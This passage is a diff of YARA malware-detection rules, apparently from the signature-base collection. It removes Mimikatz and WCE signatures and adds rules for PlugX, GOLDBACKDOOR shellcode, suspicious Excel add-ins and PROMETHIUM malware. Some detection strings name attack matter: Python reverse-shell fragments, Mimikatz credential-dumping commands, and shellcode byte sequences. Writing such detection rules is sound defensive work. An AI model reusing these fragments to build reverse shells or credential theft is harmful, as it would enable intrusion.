-		nodeepdive = 1
+		tags = "FILE"
+		hash1 = "cae9833292d3013774bdc689d4471fd38e4a80d2d407adf9fa99bc8cde3319bf"
 
 	strings:
-		$s1 = "sekurlsa::wdigest" fullword ascii
-		$s2 = "sekurlsa::logonPasswords" fullword ascii
-		$s3 = "sekurlsa::minidump" fullword ascii
-		$s4 = "sekurlsa::credman" fullword ascii
-		$fp1 = "\"x_mitre_version\": " ascii
-		$fp2 = "{\"type\":\"bundle\","
-		$fp3 = "use strict" ascii fullword
-		$fp4 = "\"url\":\"https://attack.mitre.org/" ascii
+		$s1 = "os.dup2(s.fileno(),1)" fullword ascii
+		$s2 = "pty.spawn(\"/bin/\")" fullword ascii
+		$s3 = "os.putenv(\"HISTFILE\",'/dev/null')" fullword ascii
+		$s4 = "socket.socket(socket.AF_INET, socket.SOCK_STREAM)" fullword ascii
 
 	condition:
-		1 of ($s*) and not 1 of ($fp*)
+		filesize <1KB and 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Mimikatz : FILE
+rule SIGNATURE_BASE_Korplug_FAST : FILE
 {
 	meta:
-		description = "mimikatz"
-		author = "Benjamin DELPY (gentilkiwi)"
-		id = "840a5b8c-a311-50bc-a099-6b8ab1492e12"
-		date = "2022-11-16"
+		description = "Rule to detect Korplug/PlugX FAST variant"
+		author = "Florian Roth (Nextron Systems)"
+		id = "85c6c460-2902-5bfa-be58-a2b62e3b882e"
+		date = "2015-08-20"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mimikatz.yar#L48-L74"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bf972a2c0465c3bbdde6f03d91c6f479d0f66c6d3e9512355de5a973164b56a5"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_korplug_fast.yar#L1-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c437465db42268332543fbf6fd6a560ca010f19e0fd56562fb83fb704824b371"
+		logic_hash = "31aeb634eecc0f93353432b0dde113bfb54810ea74b02f959447a1d42e7e9e1b"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		tool_author = "Benjamin DELPY (gentilkiwi)"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$exe_x86_1 = { 89 71 04 89 [0-3] 30 8d 04 bd }
-		$exe_x86_2 = { 8b 4d e? 8b 45 f4 89 75 e? 89 01 85 ff 74 }
-		$exe_x64_1 = { 33 ff 4? 89 37 4? 8b f3 45 85 c? 74}
-		$exe_x64_2 = { 4c 8b df 49 [0-3] c1 e3 04 48 [0-3] 8b cb 4c 03 [0-3] d8 }
-		$sys_x86 = { a0 00 00 00 24 02 00 00 40 00 00 00 [0-4] b8 00 00 00 6c 02 00 00 40 00 00 00 }
-		$sys_x64 = { 88 01 00 00 3c 04 00 00 40 00 00 00 [0-4] e8 02 00 00 f8 02 00 00 40 00 00 00 }
+		$x1 = "%s\\rundll32.exe \"%s\", ShadowPlay" fullword ascii
+		$a1 = "ShadowPlay" fullword ascii
+		$s1 = "%s\\rundll32.exe \"%s\"," fullword ascii
+		$s2 = "nvdisps.dll" fullword ascii
+		$s3 = "%snvdisps.dll" fullword ascii
+		$s4 = "\\winhlp32.exe" ascii
+		$s5 = "nvdisps_user.dat" fullword ascii
+		$s6 = "%snvdisps_user.dat" fullword ascii
 
 	condition:
-		( all of ($exe_x86_*)) or ( all of ($exe_x64_*)) or ( any of ($sys_*))
+		uint16(0)==0x5a4d and filesize <500KB and ($x1 or ($a1 and 1 of ($s*)) or 4 of ($s*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_Wce
+rule SIGNATURE_BASE_EXT_NK_GOLDBACKDOOR_Inital_Shellcode
 {
 	meta:
-		description = "wce"
-		author = "Benjamin DELPY (gentilkiwi)"
-		id = "857981ee-3f57-580b-8bfd-8d2109298e27"
-		date = "2023-12-05"
+		description = "Detection for initial shellcode loader used to deploy GOLDBACDOOR"
+		author = "Silas Cutler (silas@Stairwell.com)"
+		id = "daab8e54-11b3-51cc-8bee-55b078f3e791"
+		date = "2022-04-21"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mimikatz.yar#L76-L89"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a16db99dcaaf1b6c33a738aab4f4d3812366258bc2f6dd32250ee1b1a0616f1c"
-		score = 75
+		reference = "https://stairwell.com/wp-content/uploads/2022/04/Stairwell-threat-report-The-ink-stained-trail-of-GOLDBACKDOOR.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_goldbackdoor.yar#L2-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4df97181037a580098dbe34d3b6ceab5c7b83932f1831c36ee99876a8f1524f9"
+		score = 80
 		quality = 85
 		tags = ""
-		tool_author = "Hernan Ochoa (hernano)"
+		version = "0.1"
 
 	strings:
-		$hex_legacy = { 8b ff 55 8b ec 6a 00 ff 75 0c ff 75 08 e8 [0-3] 5d c2 08 00 }
-		$hex_x86 = { 8d 45 f0 50 8d 45 f8 50 8d 45 e8 50 6a 00 8d 45 fc 50 [0-8] 50 72 69 6d 61 72 79 00 }
-		$hex_x64 = { ff f3 48 83 ec 30 48 8b d9 48 8d 15 [0-16] 50 72 69 6d 61 72 79 00 }
+		$ = { C7 45 C4 25 6C 6F 63 50 8D 45 C4 C7 45 C8 61 6C 61 70 8B F9 C7 45
+              CC 70 64 61 74 50 B9 BD 88 17 75 C7 45 D0 61 25 5C 6C 8B DA C7 45 D4 6F
+              67 5F 67 C7 45 D8 6F 6C 64 2E C7 45 DC 74 78 74 00 }
+		$ = { 51 50 57 56 B9 E6 8E 85 35 E8 ?? ?? ?? ?? FF D0 }
+		$ = { 6A 40 68 00 10 00 00 52 6A 00 FF 75 E0 B9 E3 18 90 72 E8 ?? ?? ?? ?? FF D0}
 
 	condition:
-		any of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Power_Pe_Injection
+rule SIGNATURE_BASE_EXT_NK_GOLDBACKDOOR_Injected_Shellcode
 {
 	meta:
-		description = "PowerShell with PE Reflective Injection"
-		author = "Benjamin DELPY (gentilkiwi)"
-		id = "a71fe9f2-9c2a-5650-a5c7-116b76f10db6"
-		date = "2023-12-05"
+		description = "Detection for injected shellcode that decodes GOLDBACKDOOR"
+		author = "Silas Cutler (silas@Stairwell.com)"
+		id = "aa921f01-98cc-51ab-877a-e7beede77e36"
+		date = "2022-04-21"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mimikatz.yar#L91-L101"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "64a7033d51e8933912f37ce68bffc216073a88cae1ea7492e71a812411ae6a9d"
-		score = 75
+		reference = "https://stairwell.com/wp-content/uploads/2022/04/Stairwell-threat-report-The-ink-stained-trail-of-GOLDBACKDOOR.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_goldbackdoor.yar#L22-L42"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b45f408c0f342591e66ef0dfcfc1c09f8558c5e8f4bd7f824b30f00d531c7511"
+		score = 80
 		quality = 85
 		tags = ""
+		version = "0.1"
 
 	strings:
-		$str_loadlib = "0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9"
+		$dec_routine = { 8A 19 57 8B FA 8B 51 01 83 C1 05 85 D2 74 0E 56 8B C1 8B F2 30 18 40 83 EE 01 75 F8 5E 57 }
+		$rtlfillmemory_load = { B9 4B 17 CD 5B 55 56 33 ED 55 6A 10 50 E8 86 00 00 00 FF D0 }
+		$ = "StartModule"
+		$log_file_name = { C7 44 24 3C 25 6C 6F 63 50 8D 44 24 40 C7 44 24 44 61 6C
+                           61 70 50 B9 BD 88 17 75 C7 44 24 4C 70 64 61 74 C7 44 24
+                           50 61 25 5C 6C C7 44 24 54 6F 67 5F 67 C7 44 24 58 6F 6C
+                           64 32 C7 44 24 5C 2E 74 78 74 }
+		$ = { B9 8E 8A DD 8D 8B F0 E8 E9 FB FF FF FF D0 }
 
 	condition:
-		$str_loadlib
+		3 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Mimikatz_Logfile
+rule SIGNATURE_BASE_EXT_NK_GOLDBACKDOOR_Generic_Shellcode
 {
 	meta:
-		description = "Detects a log file generated by malicious hack tool mimikatz"
-		author = "Florian Roth (Nextron Systems)"
-		id = "921d85fc-fb4d-57ed-b4ac-203d5c6f1e8e"
-		date = "2015-03-31"
+		description = "Generic detection for shellcode used to drop GOLDBACKDOOR"
+		author = "Silas Cutler (silas@Stairwell.com)"
+		id = "70081d63-0b26-5358-8444-5adc3a44aaa0"
+		date = "2022-04-21"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mimikatz.yar#L103-L119"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4591cda5bd5a555292087da26193accc4f00d7c0611be8d5ab6dd4dabb14a0ef"
-		score = 80
+		reference = "https://stairwell.com/wp-content/uploads/2022/04/Stairwell-threat-report-The-ink-stained-trail-of-GOLDBACKDOOR.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_goldbackdoor.yar#L44-L58"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e046a70b1dee020ba73d960a9d91daaccd0b5c262965c8647f608c5c83a28257"
+		score = 75
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		version = "0.1"
 
 	strings:
-		$s1 = "SID               :" ascii fullword
-		$s2 = "* NTLM     :" ascii fullword
-		$s3 = "Authentication Id :" ascii fullword
-		$s4 = "wdigest :" ascii fullword
+		$ = { B9 8E 8A DD 8D 8B F0 E8 ?? ?? ?? ?? FF D0 }
+		$ = { B9 8E AB 6F 40 [1-10] 50 [1-10] E8 ?? ?? ?? ?? FF D0 }
 
 	condition:
 		all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Mimikatz_Strings : FILE
+rule SIGNATURE_BASE_Gen_Excel_Xll_Addin_Suspicious : FILE
 {
 	meta:
-		description = "Detects Mimikatz strings"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d8f63b71-c66c-5c10-9268-2d8970f7c8a1"
-		date = "2016-06-08"
+		description = "Detects suspicious XLL add-ins to Excel"
+		author = "@JohnLaTwC"
+		id = "013db759-ab9d-5505-933b-bda702a0941e"
+		date = "2020-10-16"
 		modified = "2023-12-05"
-		reference = "not set"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mimikatz.yar#L121-L154"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "baba1e159c0fb23f68b80459291a2d2c52e84f742f51ca30b894f7fc6282ad7a"
+		reference = "https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_excel_xll_addin_suspicious.yar#L3-L64"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d8c3f00ef05b0b84e4c4d655d01eab6f6e67714619695fd1433726e5a940e530"
 		score = 65
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0bad4e4bc5093dcfc2737c4d8be89d6f093509a7b91a1e022050cb890d90e4e0"
+		hash2 = "133e47eedfede46d1a4529ce7f047e09521ed8c7cad2e49d3522064695bd6c43"
+		hash3 = "1994a39d5639b4eea5c3cdf084a8eacf8610a96702e580d88a6ec18887d0ec6b"
+		hash4 = "28f45d01e397841fcba48da1e61e4927f42ff6fe6f32595c23cf9a953cd2658a"
+		hash5 = "54c3598cf22ad64faeb4e0f9f70e026a1ae834a8c06e5187bf289bb3ee43a8ec"
+		hash6 = "5644a04513744edfb247d0ea83e3e2f7d616d6752cfd1af50e866bb0270131ee"
+		hash7 = "836c0d21fc3ea3a8ce1a493097a5034d110e5c50bfd7e6c3dcb674dc7a6a19ec"
+		hash8 = "b926f7db36bc5bae73091c783b0715d2af051de22a579548adf2498cb1a1d075"
+		hash9 = "6ba100a5da5efea14a5ca929628b732a6e6b8ab8f78167db35343e895997ce52"
+		hasha = "ee603cbd6187850334ae5d8adcf029d5cde710fc966b2b7a2c95249d3b23d693"
+		hashb = "99195679e998407fd4d606a0d956bda99f79625b638c63f90d9d399c6f2a143e"
+		hashc = "99534c7086128998ae39967fe5fc6bf526cb2ba5d3b2e99dc7bd03833e4a94ae"
 
 	strings:
-		$x1 = "sekurlsa::logonpasswords" fullword wide ascii
-		$x2 = "List tickets in MIT/Heimdall ccache" fullword ascii wide
-		$x3 = "kuhl_m_kerberos_ptt_file ; LsaCallKerberosPackage %08x" fullword ascii wide
-		$x4 = "* Injecting ticket :" fullword wide ascii
-		$x5 = "mimidrv.sys" fullword wide ascii
-		$x6 = "Lists LM & NTLM credentials" fullword wide ascii
-		$x7 = "\\_ kerberos -" wide ascii
-		$x8 = "* unknow   :" fullword wide ascii
-		$x9 = "\\_ *Password replace ->" wide ascii
-		$x10 = "KIWI_MSV1_0_PRIMARY_CREDENTIALS KO" ascii wide
-		$x11 = "\\\\.\\mimidrv" wide ascii
-		$x12 = "Switch to MINIDUMP :" fullword wide ascii
-		$x13 = "[masterkey] with password: %s (%s user)" fullword wide
-		$x14 = "Clear screen (doesn't work with redirections, like PsExec)" fullword wide
-		$x15 = "** Session key is NULL! It means allowtgtsessionkey is not set to 1 **" fullword wide
-		$x16 = "[masterkey] with DPAPI_SYSTEM (machine, then user): " fullword wide
+		$s1 = "CryptStringToBinaryA"
+		$s2 = "NtQueueApcThread"
+		$cs1 = "dsrole.dll"
+		$cs2 = "user32.dll"
+		$debug = "SeDebugPrivilege"
 
 	condition:
-		(( uint16(0)==0x5a4d and 1 of ($x*)) or (3 of them )) and not pe.imphash()=="77eaeca738dd89410a432c6bd6459907"
+		filesize <1MB and uint16(0)==0x5a4d and pe.characteristics&pe.DLL and pe.exports("xlAutoOpen") and (((pe.imports("KERNEL32.dll","LookupPrivilegeValueW") or pe.imports("KERNEL32.dll","LookupPrivilegeValueA")) and pe.imports("KERNEL32.dll","AdjustTokenPrivileges") and pe.imports("KERNEL32.dll","OpenProcess") and $debug) or (pe.imports("ADVAPI32.dll","CryptDecrypt") and pe.imports("ADVAPI32.dll","CryptImportKey")) or (pe.imports("DNSAPI.dll","DnsQuery_A") or pe.imports("DNSAPI.dll","DnsQuery_W")) or ((pe.imports("KERNEL32.dll","FindResourceA") or pe.imports("KERNEL32.dll","FindResourceW")) and pe.imports("KERNEL32.dll","LoadResource") and pe.imports("KERNEL32.dll","LockResource") and (pe.imports("KERNEL32.dll","VirtualAlloc") or pe.imports("KERNEL32.dll","VirtualAllocEx")) and pe.imports("KERNEL32.dll","WriteProcessMemory") and pe.imports("KERNEL32.dll","SetThreadContext")) or (pe.imports("KERNEL32.dll","GetThreadContext") and pe.imports("KERNEL32.dll","VirtualAllocEx") and pe.imports("KERNEL32.dll","ResumeThread") and pe.imports("KERNEL32.dll","SetThreadContext")) or (pe.imports("KERNEL32.dll","WinExec")) or ( all of ($s*)) or ( all of ($cs*) and pe.imports("KERNEL32.dll","VirtualAllocEx") and pe.imports("KERNEL32.dll","TerminateProcess") and pe.imports("KERNEL32.dll","Sleep")))
 }
-import "pe"
-
-rule SIGNATURE_BASE_Appinithook : FILE
+rule SIGNATURE_BASE_PROMETHIUM_NEODYMIUM_Malware_1 : FILE
 {
 	meta:
-		description = "AppInitGlobalHooks-Mimikatz - Hide Mimikatz From Process Lists - file AppInitHook.dll"
+		description = "Detects PROMETHIUM and NEODYMIUM malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "73713011-3083-5cdf-b59c-f4da67d2d2ab"
-		date = "2015-07-15"
+		id = "21e858b1-2cfa-5757-96f0-7c44a5da6898"
+		date = "2016-12-14"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/Z292v6"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mimikatz.yar#L156-L176"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e7563e4f2a7e5f04a3486db4cefffba173349911a3c6abd7ae616d3bf08cfd45"
-		logic_hash = "a4de3a062e309715c339a45a16a7ff8f9a55851cb41097a6925fd11f649547d2"
-		score = 70
+		reference = "https://goo.gl/8abDE6"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_promethium_neodymium.yar#L10-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "143e52eedc5c3be9bbf0f916b232de26e4ed5c7e81e3f77cae70e6af84d31de1"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "e12031da58c0b08e8b610c3786ca2b66fcfea8ddc9ac558d08a29fd27e95a3e7"
 
 	strings:
-		$s0 = "\\Release\\AppInitHook.pdb" ascii
-		$s1 = "AppInitHook.dll" fullword ascii
-		$s2 = "mimikatz.exe" fullword wide
-		$s3 = "]X86Instruction->OperandSize >= Operand->Length" fullword wide
-		$s4 = "mhook\\disasm-lib\\disasm.c" fullword wide
-		$s5 = "mhook\\disasm-lib\\disasm_x86.c" fullword wide
-		$s6 = "VoidFunc" fullword ascii
+		$s1 = "c:\\Windows\\system32\\syswindxr32.dll" fullword wide
+		$s2 = "c:\\windows\\temp\\TrueCrypt-Setup-7.1a-tamindir.exe" fullword wide
+		$s3 = "%s\\ssleay32.dll" fullword wide
+		$s4 = "%s\\libeay32.dll" fullword wide
+		$s5 = "%s\\fprot32.exe" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and 4 of them
+		( uint16(0)==0x5a4d and filesize <10000KB and 3 of them ) or ( all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Mimikatz_Skeletonkey_In_Memory_Aug20_1
+rule SIGNATURE_BASE_PROMETHIUM_NEODYMIUM_Malware_2 : FILE
 {
 	meta:
-		description = "Detects Mimikatz SkeletonKey in Memory"
+		description = "Detects PROMETHIUM and NEODYMIUM malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e7c1c512-e944-5d87-ac57-cdc9ab7cf660"
-		date = "2020-08-09"
+		id = "5858541b-c394-5be8-9db3-fcff66f635de"
+		date = "2016-12-14"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/sbousseaden/status/1292143504131600384?s=12"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mimikatz.yar#L178-L190"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0cc9a4d3b63e07a695df342bd2c96a55570502d6fd0ab9a1b61d63e28e1c3e05"
+		reference = "https://goo.gl/8abDE6"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_promethium_neodymium.yar#L29-L45"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2d97ee2698b6a09da7f8c6850583ec7493cc288368b98b20790dd8305521f894"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "1aef507c385a234e8b10db12852ad1bd66a04730451547b2dcb26f7fae16e01f"
 
 	strings:
-		$x1 = { 60 ba 4f ca c7 44 24 34 dc 46 6c 7a c7 44 24 38
-              03 3c 17 81 c7 44 24 3c 94 c0 3d f6 }
+		$s1 = "winasys32.exe" fullword ascii
+		$s2 = "alg32.exe" fullword ascii
+		$s3 = "wmsrv32.exe" fullword ascii
+		$s4 = "vmnat32.exe" fullword ascii
 
 	condition:
-		1 of them
+		( uint16(0)==0x5a4d and filesize <2000KB and 1 of them ) or (3 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Mimikatz_Memssp_Hookfn
+rule SIGNATURE_BASE_PROMETHIUM_NEODYMIUM_Malware_3 : FILE
 {
 	meta:
-		description = "Detects Default Mimikatz memssp module in-memory"
-		author = "SBousseaden"
-		id = "89940110-8a5e-5a28-bf64-3b568f8ef1f8"
-		date = "2020-08-26"
+		description = "Detects PROMETHIUM and NEODYMIUM malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bff79813-0d72-50d9-9676-794801edc34b"
+		date = "2016-12-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/sbousseaden/YaraHunts/blob/master/mimikatz_memssp_hookfn.yara"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mimikatz.yar#L192-L216"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "27cf87f801111f17af76ab4c4f8329b73165f24f755d33edbb22d845bba6d3ff"
-		score = 70
+		reference = "https://goo.gl/8abDE6"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_promethium_neodymium.yar#L47-L63"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "47595e07b59744f520cd9025bcec267384329b7687fd25842f5f7a8f4b360674"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2f98ac11c78ad1b4c5c5c10a88857baf7af43acb9162e8077709db9d563bcf02"
 
 	strings:
-		$xc1 = { 48 81 EC A8 00 00 00 C7 84 24 88 00 00 00 ?? ??
-               ?? ?? C7 84 24 8C 00 00 00 ?? ?? ?? ?? C7 84 24
-               90 00 00 00 ?? ?? ?? 00 C7 84 24 80 00 00 00 61
-               00 00 00 C7 44 24 40 5B 00 25 00 C7 44 24 44 30
-               00 38 00 C7 44 24 48 78 00 3A 00 C7 44 24 4C 25
-               00 30 00 C7 44 24 50 38 00 78 00 C7 44 24 54 5D
-               00 20 00 C7 44 24 58 25 00 77 00 C7 44 24 5C 5A
-               00 5C 00 C7 44 24 60 25 00 77 00 C7 44 24 64 5A
-               00 09 00 C7 44 24 68 25 00 77 00 C7 44 24 6C 5A
-               00 0A 00 C7 44 24 70 00 00 00 00 48 8D 94 24 80
-               00 00 00 48 8D 8C 24 88 00 00 00 48 B8 A0 7D ??
-               ?? ?? ?? 00 00 FF D0 }
+		$s1 = "%s SslHandshakeDone(%d) %d. Secure connection with %s, cipher %s, %d secret bits (%d total), session reused=%s" fullword ascii
+		$s2 = "mvhost32.dll" fullword ascii
+		$s3 = "sdwin32.dll" fullword ascii
+		$s4 = "ofx64.dll" fullword ascii
 
 	condition:
-		$xc1
+		( uint16(0)==0x5a4d and filesize <2000KB and 2 of them ) or ( all of them )
 }
-import "pe"
+rule SIGNATURE_BASE_PROMETHIUM_NEODYMIUM_Malware_4 : FILE
+{
+	meta:
+		description = "Detects PROMETHIUM and NEODYMIUM malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4e926b1c-bf10-5337-8c3a-964008a37d8b"
+		date = "2016-12-14"
+		modified = "2023-12-05"
+		reference = "https://goo.gl/8abDE6"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_promethium_neodymium.yar#L65-L85"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0e8bb00133a94b29c482b9785048025a62e2706f3653c1915be7b702fbfe48d6"
+		score = 75
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "15ededb19ec5ab6f03db1106d2ccdeeacacdb8cd708518d065cacb1b0d7e955d"
 
-rule SIGNATURE_BASE_HKTL_Mimikatz_Icon : FILE
+	strings:
+		$s1 = "c:\\windows\\temp\\winrar.exe" fullword wide
+		$s2 = "info@aadobetech.com" fullword ascii
+		$s3 = "%s\\ssleay32.dll" fullword wide
+		$s4 = "%s\\libeay32.dll" fullword wide
+		$s5 = "%s\\fprot32.exe" fullword wide
+		$s6 = "ADOBE Corp.1" fullword ascii
+		$s7 = "Adobe Flash Player1\"0 " fullword ascii
+		$s8 = "Windows Index Services" fullword wide
+
+	condition:
+		( uint16(0)==0x5a4d and filesize <700KB and 4 of them ) or (6 of them )
+}
+rule SIGNATURE_BASE_PROMETHIUM_NEODYMIUM_Malware_5 : FILE
 {
 	meta:
-		description = "Detects mimikatz icon in PE file"
-		author = "Arnim Rupp"
-		id = "2a5ea476-a30d-5eac-b57a-3fb49386c046"
-		date = "2023-02-18"
+		description = "Detects PROMETHIUM and NEODYMIUM malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4bd60f61-a595-5289-9595-a7e33f265748"
+		date = "2016-12-14"
 		modified = "2023-12-05"
-		reference = "https://blog.gentilkiwi.com/mimikatz"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mimikatz.yar#L218-L238"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a07d477d1645e6df4f0706e44df11ea006c89e4d3218ed18a8a97b60853ff4ff"
-		score = 60
+		reference = "https://goo.gl/8abDE6"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_promethium_neodymium.yar#L87-L105"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "69433fae4d51f7fd7b6f5b683f9c751d0f0352b8ed805a8177085e635eb26260"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
-		hash1 = "61c0810a23580cf492a6ba4f7654566108331e7a4134c968c2d6a05261b2d8a1"
-		hash2 = "1c3f584164ef595a37837701739a11e17e46f9982fdcee020cf5e23bad1a0925"
-		hash3 = "c6bb98b24206228a54493274ff9757ce7e0cbb4ab2968af978811cc4a98fde85"
-		hash4 = "721d3476cdc655305902d682651fffbe72e54a97cd7e91f44d1a47606bae47ab"
-		hash5 = "c0f3523151fa307248b2c64bdaac5f167b19be6fccff9eba92ac363f6d5d2595"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a8b7e3edaa18c6127e98741503c3a2a66b7720d2abd967c94b8a5f2e99575ac5"
 
 	strings:
-		$ico = {79 e1 d7 ff 7e e5 db ff 7f e8 dc ff 85 eb dd ff ba ff f1 ff 66 a0 b6 ff 01 38 61 ff 22 50 75 c3}
+		$s1 = "Winxsys.exe" fullword wide
+		$s2 = "%s\\ssleay32.dll" fullword wide
+		$s3 = "%s\\libeay32.dll" fullword wide
+		$s4 = "Windows Index Services" fullword wide
+		$s5 = "<F RAT" fullword ascii
+		$s6 = "WININDX-088FA840-B10D-11D3-BC36-006067709674" fullword wide
 
 	condition:
-		uint16(0)==0x5A4D and $ico and filesize <10MB
+		( uint16(0)==0x5a4d and filesize <5000KB and 3 of them )
 }
-rule SIGNATURE_BASE_Invoke_Osiris
